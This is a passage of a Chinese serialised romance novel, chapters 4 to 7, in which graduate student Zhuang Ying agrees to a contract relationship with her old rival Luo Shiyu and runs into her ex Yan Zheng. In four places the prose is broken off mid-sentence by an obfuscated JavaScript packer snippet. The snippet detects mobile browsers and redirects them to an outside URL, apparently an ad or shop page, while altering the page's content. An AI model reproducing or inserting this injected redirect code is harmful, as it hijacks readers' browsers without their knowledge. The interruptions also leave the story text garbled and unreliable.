男人身上不知洒了什么香水,熏得庄樱脑袋发晕。她鼓起勇气,忍着强烈的羞耻感开口,“那天晚上,我们……我们……” 洛时屿弯下腰,让庄樱靠得更进,接过她的话,“你是想问,我们有没有做到最后一步?” 庄樱窘迫地点头。 洛时屿眸中笑意粲然,低咳了一声,“你觉得要是真发生了,你隔天还能那么利落地下床开溜吗?” 庄樱松了口气,忍住强烈的想要杀人的冲动,咬牙切齿道:“那我还得谢谢你了?” “你是该谢谢我,那天晚上我可是帮你好好地‘解压’——” 庄樱连忙堵住他的嘴,神情又羞又窘,“闭嘴,不然我现在就杀人灭口!” 洛时屿做了个告饶的手势。 庄樱放开手,磨着牙道:“赶紧滚!” “别忘了给我回复。”洛时屿扬了扬那张协议,笑得跟狐狸一样。 庄樱扯了扯嘴角,懒得搭理他,转身就往图书馆走。 整个周末庄樱都泡在图书馆里改论文,这晚回去的时候正好碰到了室友方梅,她刚从外地面试完回来,回到宿舍就对着庄樱吐了一通苦水。 “现在教师招聘也太卷了,尤其是英语老师。你知道我们老家那小学有多少人报名嘛?招两个人,五百多个人报名!太恐怖了!” “你面的是初中吧?人多不多?”庄樱关心道。 方梅喝了口水,这才道:“初中好一点,两百多吧,岗位也多一点。不过我没想到老家竟然还要考行测,我都没怎么准备,简直是两眼一抹黑。” “行测占比不高,应该没事。你专业能力强,一定可以的。”庄樱安慰她。 “希望吧,只要成绩出来别太低就行,不然我爸妈那儿不好交代。” 江城师大是部属的985大学,她好不容易读到研究生,要是回老家小县城考个教师编连笔试都过不了,那也太丢脸了。 “放宽心啦,这两天好好休息一下,别多想。”庄樱给她捏了捏肩膀。方梅顺势把脸靠在她手臂上,闭着眼道:“阿樱,我好羡慕你是本地人,江城应该有很多场招聘吧,你准备参加哪场?” “先参加月底市教育局的统考吧,其他的再看。” 庄樱对自己的未来也没底,她父母都是大学教授,当老师就成了一件自然而然的事,可真要问她对这份工作有多少期待和热情,她自己也不确定。 毕业论文的定稿改完,庄樱就开始准备市教育局的统考了。陈慧心得知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203060|197278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她在备考,没打扰她,只来学校送了两次水果,没再提要给她介绍相亲对象的事。 考笔试这天,庄樱醒得挺早,她先骑单车去南门对面吃了个早餐,又在操场散了会儿步,返回宿舍时,手机一震。 竟是洛时屿给她发了消息。 【一周过去了,还没想好?不会是不想对我负责吧?】 她翻了个白眼,不爽地回复:我今天有考试。 洛时屿:学霸还担心考试? 庄樱眯起眼,正想怼他两句,那头又发来一个小猫加油的表情包。 【行,不催你,安心考试,这事别忘了就行。考完我请你吃饭。】 谁稀罕你请吃饭。庄樱敷衍地回了个再说吧,将手机锁屏开始收拾东西。她本来还有点考前焦虑和紧张的,被洛时屿这么一打岔,倒是都抛在脑后了。 笔试考的百分之八十都是专业题,另外百分之二十是教育心理学的知识,难度中上。庄樱专业过硬,提前二十分钟就做完了整套试卷,还留了一些时间复习。 她也不是对每道题都有把握,有的教综知识点没复习到,只能靠猜。不过走出考场的那一刻,她就释然了,反正她已经尽了全力,结果如何就顺其自然吧。 中午庄樱回了家。陈慧心下厨做了一大桌菜,庄华文也从学校赶了回来,一家人其乐融融地吃了顿饭。 席间,庄华文忽然开口,“宁宁,你还记得洛家的小儿子不?他读完商科,从美国回来了。” 宁宁是庄樱的小名,在家时父母都爱这么喊她。 听到洛家两个字,庄樱心头一颤,硬着头皮嗯了声。 陈慧心给庄樱夹了块鱼,笑道,“宁宁怎么可能不记得,他们初中高中都是同学呢,从小一块长大的情分。” 又问庄华文,“小洛现在在国内做什么呢?” “说是在创业,具体做什么也不清楚。” “洛家有钱,他做什么都有人兜底,不用担心。” 庄樱正在心底附和,又听庄华文道:“有钱是一回事,小洛那孩子也自立。听说他在国外读书的时候没找家里要过生活费,都是自己打工挣的钱。” 这话落在庄樱耳里倒是让她有些诧异。她还以为洛时屿在国外过的是花天酒地的富二代生活呢,没想到事实跟她想的完全不一样。 吃完饭,趁着阿姨在洗碗的功夫,陈慧心把庄樱拉到了阳台。 “上次跟你说的付阿姨的那个侄儿,明天你去见一见,好不好?”陈慧心几乎是诱哄的语气。 庄樱神情为难,“妈,我论文刚写完,还要准备答辩和找工作呢,我最近真没精力。” “就是见个面,当朋友一样聊聊天而已。” 陈慧心拉着庄樱的手,劝说道:“难得有个江大毕业的,家世跟咱们家也匹配,要是错过了可就——” 庄樱听到江大两个字,脑子里乱得很,下意识提高了声音。 “妈,我说了不去。” 陈慧心被她严肃的脸吓了一跳,她握住庄樱有些冰冷的手,眸中闪过一道异样,试探道:“阿樱,你是不是……还忘不了严峥?” 5. 第 5 章 严峥,这熟悉又陌生的两个字,已经许久没在庄樱耳边响起过。 以至于乍一听到严峥的名字时,庄樱有片刻的恍惚,脑中似乎又浮现出了香樟树下那个穿着白色校服,捧着毕业手册的少年的身影。 她认识严峥是在高二那年的夏天,跟他在一起是大一那年的冬天,而他们分手,已经是两年前的事了。 兜兜转转间,已经过了八年。 “妈,你开什么玩笑呢,我跟他都分手多久了。”庄樱垂下眼,嘴角的笑容毫不在意,“他长什么样我都不记得了。” 陈慧心松了口气,欣慰地看着庄樱,“小严那个人是不错,努力上进,可他那个家庭实在跟咱们家太不匹配了。你真要嫁过去不知道得吃多少苦。忘了就好,妈给你找更好的啊。” 庄樱勉强扯了扯嘴角,脑中忽地闪过考试前洛时屿发来的那条短信。她闭了闭眼,像是下定了某种决心。 “妈,您不用操心了,其实我谈了男朋友。” “啊?什么时候的事,怎么没听你说过呢?”陈慧心大为诧异。 庄樱努力露出一个明媚的笑容,“就这两天的事,刚确定关系不久,我就没想着往外说。” “男孩子哪里的呀?是本地人吗?”陈慧心疑心她是瞎编了一个假男友出来。 “是本地人,家里挺有钱的,我们以前也是同学。”庄樱扬了扬手机,“他晚上还约了我吃饭,我正发愁下午穿什么衣服出去呢。” 她诚恳的神情不似作伪,陈慧心放了心,好奇心又涌了上来:“是你哪个同学?妈认识吗?” “以后您会认识的。” 庄樱露出一个神秘的笑容,“妈,我还要回他消息,先不跟您说了。” 说着便转身溜回了自己房间。 总算把亲妈应付了过去,庄樱坐回电脑桌前,长出了一口气。 她无意识地摩挲着手机,正想着怎么回洛时屿,手机却在这时震了一下。 ——考完了吧,晚上想吃什么? 是洛时屿发来的。 庄樱正愁怎么开启话题呢,顺势回道:考完了,我吃什么都行,你订就好。 洛时屿:行,我订个西餐厅吧。几点来学校接你? 庄樱:我在家呢,你告诉我地址,我自己去就行,不用来接我。 洛时屿:怎么弄得跟偷情似的,你家在哪儿我又不是不知道。怎么,怕被你爸妈发现啊? 庄樱几乎能想象得到洛时屿敲下这行字时脸上欠揍的表情,她磨了磨牙,忍住骂人的冲动,冷静地打字:你刚回国我们就在一起显得很假,过一段时间再公开他们容易接受一点。 洛时屿:有点道理,那我停小区门口吧。 出门前,庄樱换了条深蓝色的碎花连衣裙,化了妆,戴了隐形眼镜,口红颜色也选了鲜亮一点的。下楼时陈慧心看到女儿清丽的模样,眼底半点怀疑都没了,还笑着让她好好约会。 “不能太晚回来哦。”刚出门,陈慧心就不放心地在后面叮嘱。 “知道啦。我十点前肯定准时回家。” 刚走到小区门口,庄樱就看到了一辆显眼的深蓝色跑车,这骚包的风格多半是洛时屿的车了。果然,她才看向车窗,坐在驾驶座上的男人就鸣了声喇叭。 庄樱左右看了眼,见没有熟人,连忙拉开副驾驶车门坐了进去。 “怎么鬼鬼祟祟的?我有这么见不得人吗?”洛时屿神情很是不满。 “谁让你的车这么显眼,赶紧走,别被我妈看到了。” 洛时屿轻哼一声,踩下离合,启动了引擎。他今天穿得休闲,白T黑衬衣,额发随意散乱,不笑时挺像个单纯无辜的男大学生,不过那双桃花眼一弯,有股恣意和邪气就不经意间流露了出来。 “今天打扮得挺漂亮啊,这么重视跟我的约会?” 庄樱瞥见他翘起的唇角,下意识就不想让他好过。 “谁要跟你约会啊,不是你上赶着请我吃饭吗。而且我再强调一遍,咱俩是协议男女朋友,协议合作,明白了吗?” “噢。” 跑车停在红灯前,洛时屿一只虚手握住方向盘,侧过身看她,眼底隐约有一丝笑意。 “这么说,你是答应我的提议了?” 庄樱一愣,随即才反应过来自己刚刚都说了什么。热意飞速从脸颊腾起,她慌忙扭过头,不看洛时屿那双深邃的眼睛。 “答应了又怎么样,你以后不准用那晚的事拿捏我。” “没问题。” 洛时屿心情似乎很好,眼底仍是笑着的,“我保证,那晚的事,以后只有天知地知,你知我知。” 这还差不多。 庄樱略松了口气,只是提到那晚,某些亲密的画面不自觉涌入了脑海,洛时屿又在此时安静了下来,车里的气氛一时变得有些尴尬。 庄樱只好硬着头皮主动打开话匣子,“你之前不是一直在美国吗?我以为你读完研要留在国外呢,怎么突然回来了?” 红灯变绿,洛时屿似乎怔了一下,才启动车辆。 他思索几秒,开口,“我不是搞学术那块料,水了一年硕士也没什么意思。论就业前景的话,国外的市场还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203061|197278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有国内广阔,所以我就回来啃老了。” 他话里带着自嘲,可庄樱却觉得洛时屿并不是真这么想的。 “那听你的意思,是要回来继承家族企业?” 洛时屿自嘲地笑了声,“我们家企业哪轮得到我来继承,还有我哥和我姐呢。” 洛时屿在家中排行第三,大哥和二姐早就成家,大哥能力出众,又有铁血手腕,这几年已是名义上的洛氏掌门人,二姐醉心学术,三十五就做到了硕导的位置。只有洛时屿高不成低不就,家里人也对他没抱太大期望,只盼着他早点成家。 “那你不进洛氏了?要自己找工作吗?” 临近毕业季,庄樱也在为找工作发愁,不免对洛时屿产生了一丝同情。 “暂时不用,我爸给了我一点钱,让我自己投资创业。我答应他,这笔钱要是花完了我就老老实实回家里公司上班。” “多少钱?”庄樱好奇道。 洛时屿说了一个数字。 庄樱:…… 这是一点钱吗?她做梦自己中彩票都不敢梦这么多!这些万恶的资本家! 到了餐厅,庄樱也没跟洛时屿客气,翻开菜单把那些最贵的战斧牛排、三文鱼拼盘,澳洲帝王蟹都点了一遍。 “还有海胆和澳龙呢?怎么不点?”洛时屿优哉游哉地翻着菜单。 庄樱倒是想吃穷他,可也不愿意太浪费食物。她合上菜单,“我吃这些就行,剩下的你想吃什么自己点吧。” 洛时屿加了个奶油焗龙虾和海胆炒饭,又点了两瓶气泡水,让服务员下单。最先上的是战斧牛排,侍应生端着餐车推过来后,先用火枪炙烤,再在现场给他们分割。 牛排的焦香味伴随着滋啦作响的烤肉声令人食指大动,庄樱迫不及待地拿起刀叉,盯着铁板上翻动的牛排。 洛时屿看到她这副眼巴巴的模样,不自觉笑了,“怎么馋成这样?你是几天没吃饭了?” 庄樱瞪了他一眼,正要怼回去时,门口的玻璃门滴的一声轻响,伴随着一声热情的欢迎光临,卡座后响起两道脚步声。 “严峥哥,我们就坐这儿吧,怎么样?” 一个甜美的女声落在庄樱耳边。 “嗯。” 低沉而清冽的男声随即响起,余光里出现一抹修长俊挺的身影。那人鼻梁很高,单眼皮,戴一副不规则的银框眼镜,经过他们时,脚步一顿。 庄樱眼睫低垂,死死攥紧了手里的刀叉。 有道复杂的目光落在她脸上,带着一丝惊喜和诧异的声音响起。 “庄樱?” 6. 第 6 章 空气似乎在那一瞬间凝固了。 在漫长得令人窒息的沉默中,庄樱抬起眼,看向眼前穿着卡其色风衣的男人,露出一个得体中又带着一丝诧异的微笑。 “好巧。” “严峥哥,这是谁啊,你们认识吗?” 站在一旁扎着丸子头,穿着小香风套装的年轻女孩好奇地打量着庄樱。 “她是我的——” 男人话音未完,庄樱先一步打断他,“我们是高中同学。” 庄樱说这句话时脸上带着浅笑,两年多没见,她的眉眼一如从前那般清丽柔和,可比起跟他在一起时,似乎又多了一丝明媚。 是谁改变了她? 严峥的目光下意识看向庄樱对面坐着的人。 “学委,好久不见啊。” 洛时屿抱着手臂,懒洋洋地抬起眼,似笑非笑地看着他。 严峥脸上的神情微变,七年不见,洛时屿吊儿郎当的样子还是跟高中时一模一样。这两人怎么会坐在一起,难道,庄樱跟洛时屿在一起了? “严峥哥,这也是你的高中同学嘛,好帅呀。” 女孩惊艳地打量着洛时屿。她一直以为严峥已经是她认识的颜值天花板了,没想到今天又见到了一个超级大帅哥。 “嗯,我们之前不太熟。” “你们是情侣吗?好般配呀。” 女孩两眼发光地盯着洛时屿,她心直口快,想到什么就说什么,全然没有注意到身旁的男人眉目已经阴沉得可以滴水。 “是啊,刚谈不久。” 男人笑着回答。 庄樱还沉浸在无所适从的情绪中,手腕忽然被捉住,洛时屿笑盈盈的眼睛看了过来,温热有力的手掌紧紧握住她的掌心。 “我女朋友比较害羞,在外面不好意思说我们的关系。” 庄樱嘴角一抽,想挣脱洛时屿的手,却发现那人的力道大得可怖,她压根挣脱不开。干脆松了力气,任由他握着。 女孩还想再多问两句,身旁的男人已经侧过身,语调有些冷,“这位置视野不好,我们坐另一边吧。” 等到那两道身影走远,庄樱僵硬的肩膀才放松下来,等她发现自己的手还被洛时屿攥着后,脸颊猛地红了,急忙甩开他的手。 “你有病啊,莫名其妙地牵我的手。” “我替你解围,你还这么曲解我。”洛时屿语调带着一丝委屈,深邃的桃花眼盯着她,“庄樱,你要不要照镜子看看,你刚才脸上的笑比哭还难看。” 庄樱下意识摸了摸自己的脸,不确定道:“有吗?” “当然有,任谁看了你这张脸都以为你对严峥旧情难忘。” “我早跟他分手了,难忘个屁。”庄樱有些窘迫,她往不远处的卡座瞥了一眼,压低声音警告洛时屿:“你小点声,别让人家误会。” “你既然没对他恋恋不忘,那有什么好怕的。何况人家都已经谈上新女友了,你在这儿伤春悲秋也无济于事。” 庄樱:…… 有时候她真想撕了洛时屿这张毒嘴。 “我没有伤春悲秋。” 她只是偶尔会缅怀过去的那段时光,缅怀那个一腔热血的自己而已。 “行行行,你说什么都对。来,化悲愤为食欲,多吃点。” 洛时屿给她切了一大块牛排。 跟洛时屿插科打诨了几句,庄樱心头的那股酸涩和惆怅淡去不少。买完单离席,洛时屿忽然说要带她去个地方。 “天都快黑了,你要带我去哪儿?” 庄樱一副不太感兴趣的样子。 洛时屿笑吟吟道:“当然是把你拖到荒郊野外卖了。” 庄樱翻了个白眼,将车载音响连上自己的手机蓝牙开始听歌。洛时屿也不打扰她,专注地开车,直到他们远离城市,路灯一盏一盏亮起,庄樱的目光也被窗外的景色所吸引。 “这是……去清澜山吗?”她盯着路边一闪而过的路牌。 这家伙还真带她来荒郊野外了。 “嗯,怕吗?” 庄樱切了一声,降下车窗,让微凉的风吹进来。十来分钟车就开到了山顶,这儿密林高耸,年久失修的路灯发着微弱的亮光,庄樱下车时仍有些忐忑,直到洛时屿拽住她胳膊,将她带到一处开阔的平地前。 “看。” 顺着他的视线,庄樱瞳孔一缩,眸中露出了惊叹的光芒。呈现在她面前的,是整个城市灯火通明的夜景,深蓝的夜幕低垂,城市的霓虹灯如钻石般在漆黑的背景中闪烁,美得几乎让人屏息。 庄樱伫立在那儿,久久不发一语。 她每天忙于论文和考编,别说爬山了,就连出来散心都很少。现在置身于城市的夜景之中,忽然觉得自己的心胸开阔不少。 “怎么样,这个地方不赖吧?” 洛时屿观察着她的神色,笑着邀功。 “是不赖,以前我怎么没发现这儿还可以看夜景。” 她小时候不是没爬过清澜山,可她记得山顶除了几块巨石别的什么都没有,枯燥得很,后来念书了,更不会来这么远的地方爬山了。 “这条爬山道是新建的,知道的人很少。” 洛时屿掏出手机,对着眼前的夜景拍了几张,又将摄像头转过头,对准庄樱。庄樱连忙挡住自己的脸,抗拒道:“不准拍我,专心拍你的风景。” “小气鬼,行吧。” 洛时屿并没有告诉他,在庄樱站在那儿看夜景的时候,他已经偷拍她好多张了。 庄樱站了一会儿便发现有些冷,她身上的连衣裙是短袖款,露在外面的胳膊此刻起了一层浅浅的鸡皮疙瘩。她无意识揉搓了几下,正犹豫怎么跟洛时屿说,背上一暖,带着淡香的衬衣外套披在了她肩上。 “不用谢我。” 洛时屿笑着朝她眨了眨眼睛。 昏暗的路灯光中,庄樱第一次觉得死对头的脸看着顺眼了许多。 然而下一刻。 “你头发上有只虫子。” 最怕毛毛虫的庄樱表情瞬间大变,整个人都蜷缩起来,惊恐地抓乱自己的头发。 “在哪儿?你赶快帮我拍掉!拍掉!” 洛时屿顺势倾身,在她头顶轻拂了拂。 “没了。” “真的吗?”庄樱后怕地盯着他。 洛时屿笑得奸诈,“假的,没有虫子。” 庄樱顿时恼羞成怒,举起手就拍了洛时屿一巴掌,然而两人的身高差让这巴掌落在了洛时屿胸口,硬邦邦的触感反而硌得庄樱的手心生疼。 “这么迫不及待想摸我?” 洛时屿半点不觉得痛,一双桃花眼低垂,眼底带了丝调笑看着她。 庄樱跟被灼伤一般,连忙收回手,“就没见过比你脸皮厚的!” 一路打打闹闹地下了山,回到小区已是深夜。临下车前,庄樱想了想,还是郑重地对洛时屿道:“今天谢谢你。” 无论如何,在餐厅的时候都是洛时屿给她解了围。不然她一个人面对严峥和他的新女友也太尴尬了。 “嘴上说没用,下次你进了面试,记得请我吃饭。” 洛时屿一手搭在车窗边沿,半张脸陷在灯光照不到的阴影里,隐约能看出嘴角是翘着的。 “你对我这么有自信?”庄樱稀奇地看着他。 “你这种985毕业的学霸都考不上,其他人更考不上了。”洛时屿摆弄了一下车上的熏香,又不经意道:“什么时候回学校?要不要我送你?” “明天回,我妈送我去,不麻烦你了。” 洛时屿轻咳了一声,“麻烦谈不上。咱俩好歹是协议情侣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203062|197278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这都是我应该尽的义务。” “以前没看出来你这么有责任心。” 三年没见,庄樱觉得洛时屿似乎变沉稳了很多,当然,这家伙骨子里还是她从小就认识的那个跳脱随性的少年。 “你没看出来的事多了去了。” 洛时屿朝她摆摆手,叮嘱,“别天天看书把眼睛看瞎了,早点休息。” “要你说,走了。” 一周后,市统考的笔试成绩出来了,庄樱的成绩排在岗位第一名,并且跟第二名拉开了七分的差距。她还没怎么激动,方梅先叫出了声。 “笔试第一!阿樱,你太棒了!你这绝对是碾压局!稳赢!” 这个岗位只招一个人,庄樱不敢掉以轻心,笑着道:“笔试是不错,不过面试逆风翻盘的也很多,话不能说得太满。” “也对,你这几天好好好抓紧准备面试,可别出什么意外。” 面试就在下周六,内容是结构化和试讲,庄樱只有一周的准备时间。还好她论文已经定稿,现在交去了盲审,暂时可以心无旁骛地准备之后的面试。 这几天洛时屿跟她联系不多,估计在忙自己的投资。庄樱正犹豫要不要把自己的笔试成绩告诉他,叶昭的电话先打了过来,问她有没有空参加本科的同学会。 她跟叶昭本科都在江大读的,她读的英语系,叶昭读的艺术系,那年江大的宿舍没有按学院分配,而是随机组合的混合宿舍。她跟叶昭正好分到同一间成了舍友,四年相处下来,又成了最好的朋友。 “谁组的局啊?人很多吗?” “不多,咱们宿舍四个都在,还有一些熟面孔,你来就是了。” 他们本科宿舍四个人很久没聚过了,叶昭她倒是常见,老大和老二自从毕业后她就见得少了。想到机会难得,庄樱答应了。 她有两年没踏足过江大了,当视野里映入那扇熟悉的校门时,她心口蓦地一痛,无数过往的画面潮水般涌来。 梧桐大道的树荫下,她坐在严峥的单车后座上,双手搂着他的腰,恨不得那段路永远没有尽头;情人坡的草坪上,她手里捧着书背单词,严峥在一旁给她投喂糕点;图书馆里,她趴在厚厚的语法书上,耳朵里塞着严峥分给她的一只耳机,两人的手偷偷在桌下交握…… 手机铃声响起,庄樱的思绪被打断,有些恍惚地接起。 “宝,你找得到地方吗?要不要我们去接你?” “不用了,我刚过江大校门,马上就到了。” 庄樱压下心头涌起的思绪,尽量让自己的语气听起来和平常一样。 “那就好,人都齐了,就差你了啊。” 聚会的地点在江大南门旁边的一家粤菜餐厅,里面装潢很雅致,应该是新开的,因为庄樱记忆中江大附近并没有这么高档的粤菜餐厅。 她循着叶昭给的号码,来到了包厢门前。 推开厚重的雕花木门,里面一桌人顿时全看了过来,伴随着几句调侃。 “阿樱来了。越来越漂亮了!” “系花压轴登场!” 庄樱最先瞧见的是冲她挥手的老大老二,她笑着同她们打过招呼,正要找位置坐,余光却瞥见了另一侧某个高瘦的身影。 “阿樱,我把408宿舍的也叫来了,人多热闹一点,你不介意吧?” 叶昭试探着道。 庄樱眼睫微动,碍于叶昭的面子也不好说什么。她跟严铮谈恋爱的时候,两个宿舍的人也都混熟了,叶昭会叫上他们倒也不奇怪。 “没事。让你们久等了。” 庄樱笑容得体。 她想找位置坐,叶昭立刻朝她招了招手,迫不及待地指着自己身旁的空位。 “这个专门留给你的。” 庄樱看向那空位旁边的高瘦身影,眼前一黑。 7. 第 7 章 庄樱在心底把叶昭骂了一百遍,脸上还是带着尴尬而不失礼貌的笑,坐在了叶昭旁边。 这家伙到底要干什么?为什么要把她安排在严峥旁边?他们都分手两年了,再见面只有局促和别扭好吗! 正头疼着,身旁有人递了一杯茶过来。 “你的餐具都洗过了,刚倒的乌龙茶,试试?” 严峥语气温和。 庄樱愣了一秒,他习惯性的体贴举动让庄樱有种两人又回到了恋爱时期的错觉,只是下一秒,庄樱就清醒过来。 “谢谢,我喝饮料就好。” 庄樱礼貌地拒绝,重新拿杯子给自己倒了杯雪碧。 严峥没有坚持,却把那杯热茶放在她餐具的外侧。庄樱低头喝雪碧,叶昭忙着活络气氛,没空搭理她。热闹的氛围里,只有他们这一隅显得格外安静。 严峥先开启了话题。 “听说你在考教师编?以后是确定当老师了?” “不一定,考着玩吧。”庄樱含糊其辞。 “看得出来,你喜欢稳定的生活。当老师也好,单纯的校园环境很适合你。” 庄樱不置可否地嗯了声,反问他:“你工作应该找好了吧?是不是挑Offer挑花眼了?” 严峥笑了笑,“也没有挑花眼那么夸张,我一开始打算进研究院的技术岗,后面觉得企业也不错,至少年薪是前者的几倍。” “你这么优秀,去哪儿应该都不愁高薪。” 庄樱客观地评价道。 正聊着天,菜陆续上来了。庄樱打眼一看,竟然有一半都是她爱吃的菜。 叶昭将她最喜欢的清蒸多宝鱼转到她面前,促狭道:“不用惊讶,这是严峥点的,反正他买单。” 桌上其他人也跟着附和,大有撮合庄樱和严峥的意思。庄樱勉强笑了笑,她可没忘记上次跟严铮见面的时候他是带着女伴的,万一人家正牌女友杀过来,她该怎么自处? 因此饭局的后半程,她没再怎么跟严峥搭话,而是跟许久没见的老大老二聊天。直到饭局散场,严峥都没再找到一个可以单独跟她聊天的机会。 “吃完不准溜啊,我订了对面的KTV,咱们唱一整夜!” 叶昭最喜欢攒局,早就把下一场活动安排好了。 一行人出了餐厅,结伴往对面走。庄樱本来跟着宿舍的人走在一起,不知何时,严峥走到了她旁边,而他们也被其他人落在了身后。 夜色微凉,街头车流喧嚣,严峥落在她耳边的声音却格外清晰。 “庄樱,你一定要这么躲着我吗?” 十字路口,庄樱在斑马线前站定,转身,盯着面容清俊的男人,语调隐含怒气。 “严峥,你是不是忘了你是有女朋友的人,跟我走得这么近,合适吗?” 严峥一愣,随即反应过来庄樱都误会了什么,连忙解释:“那天你看到的人不是我女朋友,只是学校的一个师妹。我帮过她忙,她请我吃饭而已。” 见庄樱没说话,严峥走近一步,低头看着她,眸色渐深:“跟你分开后,我没再谈过女朋友。” 庄樱眼睫动了动,不自在地将手心攥紧,想离他远一些,“你没谈女朋友,但我已经有男朋友了,不好意思。” “你是说洛时屿吗?” 想到那天看到的场景,严峥心底一痛,他强忍着心中的妒火,冷声道:“据我所知,洛时屿才刚回国没多久,你跟他这么快就谈起了恋爱,我不相信。” 何况庄樱高中时就喜欢他了,那时候洛时屿和庄樱还是同桌,他每天冷眼看着洛时屿搞些幼稚的把戏引起庄樱的注意,庄樱那时候都没对洛时屿动过心,现在怎么可能喜欢他。 唯一的可能,就是那天庄樱以为他谈了新女友,不想显得自己难堪,才跟洛时屿伪装情侣而已。 不得不说,严峥很了解她。庄樱并不想在洛时屿的事上多做解释,她摩挲着自己的背包带子,忽然抬起头,朝严峥一笑。 那暌违已久的明媚笑容让严峥神情一僵。 “是真是假又有什么关系。严峥,我跟你已经没有可能了,你今天弄这么一出有意义吗?” 回到江大,她的确想起来很多过去的美好时光,可随之而来的,还有许多她不愿再触及的痛苦回忆。 “我们为什么分手,你难道不清楚原因吗?” 是从什么时候他们的感情开始生出波折的呢? 应该是他们在一起一年后,她无意中问起严峥的家庭,对方却态度冷淡,不愿提及,在她表示关心时还反过来讽刺她。 “我不像你这种大小姐,一出生就有万千宠爱。” 是后来的很多次,她为了照顾他的自尊心,特地选便宜的饭馆,出去玩也选那些省钱的爬山、游湖之类的项目,反而还要被他说娇生惯养,吃不了一点苦;是她主动提出开销AA,却被他冷着脸拒绝,说自己绝不可能花女朋友的钱。 是一次又一次的由阶层差距滋生出来的矛盾不断累积,最终在那个雨夜爆发。 “那天晚上,是我做错了。” 严峥低头凝视着她,目光中带着悲伤和愧疚。 “阿樱,那时候我们都太年轻,把自尊心看得比什么都重要。如果再来一次,我绝对不会放你走。” 的确,那个时候他们都太年轻,她也太天真太自以为是。以为付出满腔的热血和赤诚就能得到真心,可现实却给她狠狠上了一课。 是大四的某个夜晚,他们逛完小吃街回来,途中遇上暴雨回不去学校,只能找了一个宾馆开房躲雨。 那是他们第一次住宾馆,两人都格外局促,庄樱更是紧张得手脚都不知往哪儿放。 他们牵过手,接过吻,可更亲密的事却没有做过,严峥也从不越雷池一步。 庄樱的裙子和上衣都被雨淋湿了,她洗完澡,换了浴袍后依然冻得瑟瑟发抖。旧宾馆里的空调没有制热功能,她看到严峥站在窗边,鼓起勇气,上前抱了他一下。 她本意是想让严峥抱抱她,好让她没那么冷。没想到在她的脸贴上他背的刹那,严峥就转了过来,紧皱着眉将她推开。 “阿樱,你是女孩,要自爱一点。” “自爱”两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203063|197278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个字像一把利箭,猝不及防地扎进庄樱的心脏。 她知道严峥误会了,她也没有说任何话为自己辩解,只是红着眼睛进了浴室,换回自己的衣服。 在她要走出房间的时候,严峥终于意识到了不对,慌忙走上前抓住她的手,“阿樱,我刚才话说得有点重,我不是那个意思,我——” “分手吧。” 庄樱头没都回,拉开门走了出去。 从那天之后,他们开启了长达两个月的冷战。直到临近毕业,因为舍友过生日请吃饭,庄樱被迫出席,她才再一次见到了严峥。 他消瘦了一圈,下巴上多了一层青色的胡茬,神情是少见的颓唐。可她看到他,发现胸口涌出来的除了心疼,更多的是深深的疲惫和无力感。 那时的她就知道,他们这段感情已经走到了尽头。 “不会再有第二次了。” 庄樱抬头,盯着近在咫尺的面容清俊的男人,微微一笑:“严峥,我们本来就是两个世界的人,你还不明白吗?” 严峥心底一震,耳边似乎有什么轰然作响,仿佛心脏深处被剖开的痛楚让他开口时连音调都在颤抖。 “阿樱,以前是我错了,我不该答应分手,我们重新来过好不好?我拿到的Offer年薪有五十万,以后还会涨。你想要的生活我都可以为你创造,你相信我,好不好?” 他眼眶通红,以从来没有过的祈求姿态,卑微而希冀地看着她。 庄樱苦笑着摇了摇头,“算了吧,严峥。你有那么多优秀的追求对象,何必在我身上浪费时间呢。” 红灯变绿,在严峥还要开口的刹那,庄樱毅然转身,踏上了斑马线。 严峥怔怔地站在斑马线另一侧,望着那个比以往任何一次分手都要决绝的背影,很快消失在人群中。 庄樱没有唱K的心思,但于情于理,她都要当面跟叶昭解释一声。到了包厢门口,她正头疼怎么开口,手机先震了一下。 洛时屿:笔试成绩出来没?考得怎么样? 庄樱先回他消息。 【嗯,进了面试。】 洛时屿:哟,不错嘛。什么时候请我吃饭? 